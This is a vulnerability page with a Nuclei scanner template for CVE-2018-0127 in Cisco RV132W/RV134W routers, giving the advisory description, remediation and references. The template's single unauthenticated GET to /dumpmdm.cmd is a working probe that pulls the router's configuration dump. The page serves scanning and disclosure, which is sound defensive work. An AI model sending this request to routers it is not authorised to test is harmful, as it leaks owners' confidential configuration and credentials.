CVE-2018-0127: Cisco RV132W/RV134W Router - Information Disclosure

2025-08-01 Cisco RV132W RV134W Router PoC Public

Description

Cisco RV132W ADSL2+ Wireless-N VPN Routers and Cisco RV134W VDSL2 Wireless-AC VPN Routers could allow an unauthenticated, remote attacker to view configuration parameters for an affected device via the web interface, which could lead to the disclosure of confidential information.

PoC

id: CVE-2018-0127

info:
  name: Cisco RV132W/RV134W Router - Information Disclosure
  author: jrolf
  severity: critical
  description: Cisco RV132W ADSL2+ Wireless-N VPN Routers and Cisco RV134W VDSL2 Wireless-AC VPN Routers could allow an unauthenticated, remote attacker to view configuration parameters for an affected device via the web interface, which could lead to the disclosure of confidential information.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the router.
  remediation: |
    Apply the latest firmware update provided by Cisco to fix the vulnerability.
  reference:
    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180207-rv13x_2
    - http://web.archive.org/web/20211207054802/https://securitytracker.com/id/1040345
    - https://nvd.nist.gov/vuln/detail/CVE-2018-0127
    - http://www.securitytracker.com/id/1040345
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-0127
    cwe-id: CWE-306,CWE-200
    epss-score: 0.77484
    epss-percentile: 0.99535
    cpe: cpe:2.3:o:cisco:rv132w_firmware:1.0.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: rv132w_firmware
  tags: cve,cve2018,cisco,router,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/dumpmdm.cmd"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Dump"
          - "MDM"
          - "cisco"
          - "admin"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cefcbc3ce30d911bf947f9101afa123409ffc92ece61874cd3a40993594fcdde022100b3148c8e1599ba020ddaad380b9e72330162f4154875b2e7498df02e93d4b43a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-0127.yaml

References

Related Vulnerabilities